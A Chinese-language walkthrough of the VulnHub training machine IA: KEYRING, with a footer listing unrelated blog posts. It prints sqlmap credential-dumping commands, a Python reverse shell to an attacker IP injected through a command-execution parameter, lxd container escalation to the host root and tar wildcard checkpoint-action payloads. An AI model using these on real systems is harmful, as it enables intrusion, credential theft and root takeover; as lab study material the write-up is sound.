vulnhub靶场之IA: KEYRING (1.0.1)
准备:
攻击机:虚拟机kali、本机win10。
靶机:IA: KEYRING (1.0.1),下载地址:https://download.vulnhub.com/ia/keyring-v1.01.ova,下载后直接vbox打开即可。
知识点:lxd提权、tar通配符提权、命令执行、sql注入、ida逆向、源码分析、gobuster目录扫描。

端口扫描:
通过nmap扫描下网段内的存活主机地址,确定下靶机的地址:nmap -sn 172.18.8.0/24,获得靶机地址:172.18.8.191。

扫描下端口对应的服务:nmap -T4 -sV -p- -A 172.18.8.191,显示开放了22、80端口,开启了ssh服务和http服务。

web信息收集:
访问:http://172.18.8.191/是一个登录注册页面,进行账号信息注册然后进行登录,但是注册admin时显示该账户已存在,那我们就注册一个别的账户:upfine/upfine,然后进行登录。

登录时输入账号和密码信息一直不会跳转登录,查看页面源码信息,在其源码信息中发现登录页面:login.php,访问:http://172.18.8.191/login.php页面使用账户:upfine/upfine进行登录。

成功登陆后发现给与我们的提示信息,简单的告诉了我们什么是参数污染,但是在这几个界面中未发现参数的传递。

目录扫描:
使用gobuster进行目录扫描,发现about.php、index.php、history.php等页面,其中history.php页面是新多出来的页面。

打开该页面是一个空白页面,但是当退出之后在访问该页面会告诉我们不能找到某个用户的活动,因此猜测我们需要传入用户名参数user。

当我们传输user参数时:http://172.18.8.191/history.php?user=upfine,这时候又需要我们登录账户才可以,想到注册时告诉我们admin账户已存在,那我们也查看下admin账户信息,给我们返回了一个代码仓库地址:https://github.com/cyberbot75/keyring。


源码分析:
通过该地址下载下来页面源码信息,在control.php源码中发现了数据库的账户和密码信息:root/sqluserrootpassw0r4,数据库:users,以及不安全的函数system()。测试该函数是否可以进行命令执行,命令:http://172.18.8.191/control.php?cmdcntr=id,但是未回显任何信息,猜测是账户权限问题。

SQL注入:
在此页面:http://172.18.8.191/history.php?user=upfine,进行了简单的注入测试,发现存在注入点。

那就使用sqlmap获取下表名、列明和具体的数据信息,数据库名称在源码文件中已知:users。sqlmap命令如下,最终发现了两组账户和密码:admin/myadmin#p4szw0r4d、john/Sup3r$S3cr3t$PasSW0RD。
获取表名
sqlmap -u http://172.18.8.191/history.php?user=admin --cookie='PHPSESSID=jno08545neep7psrg6phni549c' --batch -D users --tables
获取表的数据
sqlmap -u http://172.18.8.191/history.php?user=admin --cookie='PHPSESSID=jno08545neep7psrg6phni549c' --batch -D users -T details --dump


获取shell:
使用我们获得的账户信息:admin/myadmin#p4szw0r4d进行登录,然后测试命令执行,此时命令执行成功。

利用命令执行函数直接反弹shell,命令如下:http://172.18.8.191/control.php?cmdcntr=python3%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22172.18.8.120%22,6688));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import%20pty;%20pty.spawn(%22sh%22)%27,在kali中开启对6688端口的监听,成功获得shell权限。
其余几种方式经测试无法反弹shell,可以在这个网站找各语言的反弹shell语句进行测试:https://www.revshells.com/
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.18.8.120",6688));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

提权方式一-lxd提权:
在/home目录下发现john账户,加上我们之前发现的账户信息:john/Sup3r$S3cr3t$PasSW0RD,那我们就可以直接切换到john账户,成功切换到john账户后发现john账户具有lxd权限。

切换john账户后,在john目录下发现user.txt文件,读取该文件成功获取到第一个flag值。

首先在这个网站:https://github.com/saghul/lxd-alpine-builder.git下载tar.gz文件并上传到靶机,命令:wget http://172.18.8.120:8000/alpine-v3.13-x86_64.tar.gz。然后在依次执行如下命令,即可成功获得root权限,获得root权限后进入root目录:cd /mnt/root/root,发现root.txt文件并读取flag值。这里获取root权限后出现了一点乱码,但是整体不影响,之前遇到过三次了,所以这里就这样。
lxc image import ./alpine-v3.13-x86_64.tar.gz --alias myimage
lxd init #基本默认配置,进行回车就行
lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh

提权方式二-tar通配符提权:
将在/john目录下发现的compress文件下载下来。

在本地使用ida进行逆向分析,生成伪c代码,发现使用root权限执行了:/bin/tar cf archive.tar *,这里存在一个tar的通配符提权漏洞。

tar的通配符提权漏洞原理:当执行tar 命令时,通配符* 会自动被替换成参数。下面的话就是替换成我们的upfine.sh脚本,利用的payload如下,依次执行下面命令成功获得root权限,并在/root目录下发现root.txt文件,读取该文件成功获取到flag值。
echo "/bin/bash" > upfine.sh
echo "" > "--checkpoint-action=exec=sh upfine.sh"
echo "" > --checkpoint=1
./compress

vulnhub靶场之IA: KEYRING (1.0.1)的更多相关文章
- Vulnhub靶场渗透练习(一) Breach1.0
打开靶场 固定ip需要更改虚拟机为仅主机模式 192.168.110.140 打开网页http://192.168.110.140/index.html 查看源代码发现可以加密字符串 猜测base64 ...
- Vulnhub靶场题解
Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...
- VulnHub靶场学习_HA: ARMOUR
HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...
- VulnHub靶场学习_HA: InfinityStones
HA-InfinityStones Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-infinity-stones,366/ 背景: 灭霸认为,如果他杀 ...
- VulnHub靶场学习_HA: Chanakya
HA-Chanakya Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chanakya,395/ 背景: 摧毁王国的策划者又回来了,这次他创造了一个难 ...
- VulnHub靶场学习_HA: Chakravyuh
HA: Chakravyuh Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chakravyuh,388/ 背景: Close your eyes a ...
- VulnHub靶场学习_HA:Forensics
HA:Forensics Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-forensics,570/ 背景: HA: Forensics is an ...
- Vulnhub靶场——DC-1
记一次Vulnhub靶场练习记录 靶机DC-1下载地址: 官方地址 https://download.vulnhub.com/dc/DC-1.zip 该靶场共有5个flag,下面我们一个一个寻找 打开 ...
- vulnhub靶场之DRIPPING BLUES: 1
准备: 攻击机:虚拟机kali.本机win10. 靶机:DRIPPING BLUES: 1,网段地址我这里设置的桥接,所以与本机电脑在同一网段,下载地址:https://download.vulnhu ...
- VulnHub靶场学习_HA: Avengers Arsenal
HA: Avengers Arsenal Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-avengers-arsenal,369/ 背景: 复仇者联盟 ...
随机推荐
- js排序的基础原理理解
在了解数组排序前,我们先了解下如何交换两个数字的位置 假设我们有这么一个数组 var arr=[1,2,3] 我们想交换1和3两个的位置我们该如何做呢? 最简单的肯定是手动赋值,如下 var arr= ...
- Vue学习之--------全局事件总线(2022/8/22)
文章目录 1.全局事件总线基础知识(GlobalEventBus) 2.图解过程 3.代码实例 3.1 main.js 3.1 App.vue 3.2 School.vue 3.3 Student.v ...
- MasaFramework -- 缓存入门与规则配置
概念 什么是缓存,在项目中,为了提高数据的读取速度,我们会对不经常变更但访问频繁的数据做缓存处理,我们常用的缓存有: 本地缓存 内存缓存:IMemoryCache 分布式缓存 Redis: Stack ...
- 某Hi3516EV300摄像头折腾笔记
最近因工作需要买了某款HI3516DV300开发板,但是价格死贵,于是在国内某著名电商网站上瞎逛,很巧发现一家店铺买摄像头模组,主控HI3516EV300,cmos是IMX335,价格不到200元,然 ...
- 一、什么是celery
一.什么是Celery 1.1.celery是什么 celery是一个简单.灵活且可靠的,处理大量消息的分布式系统,专注于是心爱处理的异步任务队列,同事也支持任务调度. Celery的架构由三部分组成 ...
- 真正“搞”懂HTTP协议02之空间穿梭
时隔四年,这个系列鸽了四年,我终于觉得我可以按照自己的思路和想法把这个系列完整的表达出来了. 想起四年前,那时候还是2018年的六月份,那时候我还工作不到两年,那时候我翻译了RFC2616的部分内容, ...
- Druid SQL注入防御模块技术浅析
官方参考: https://www.bookstack.cn/read/Druid/ffdd9118e6208531.md 前置知识 什么是Druid? Druid是一个高效的数据查询系统,主要解决的 ...
- costool - 腾讯云cos快捷工具。
目录 使用截图 使用方法 配置文件 安装方法 其他 一个腾讯云cos(对象存储)非官方快速上传和下载的工具,使用官方go-sdk二次开发.可以用于以下场景. 备份一些配置文件,比如.bashrc .v ...
- 基于 .NET 7 的 QUIC 实现 Echo 服务
前言 随着今年6月份的 HTTP/3 协议的正式发布,它背后的网络传输协议 QUIC,凭借其高效的传输效率和多路并发的能力,也大概率会取代我们熟悉的使用了几十年的 TCP,成为互联网的下一代标准传输协 ...
- windows socket网络编程--事件选择模型
目录 事件选择模型概述 API详解 工作原理 代码实现 事件选择模型概述 Winsock提供了另一种有用的异步事件通知I/O模型--WSAEventSelect模型.这个模型与WSAAsyncSele ...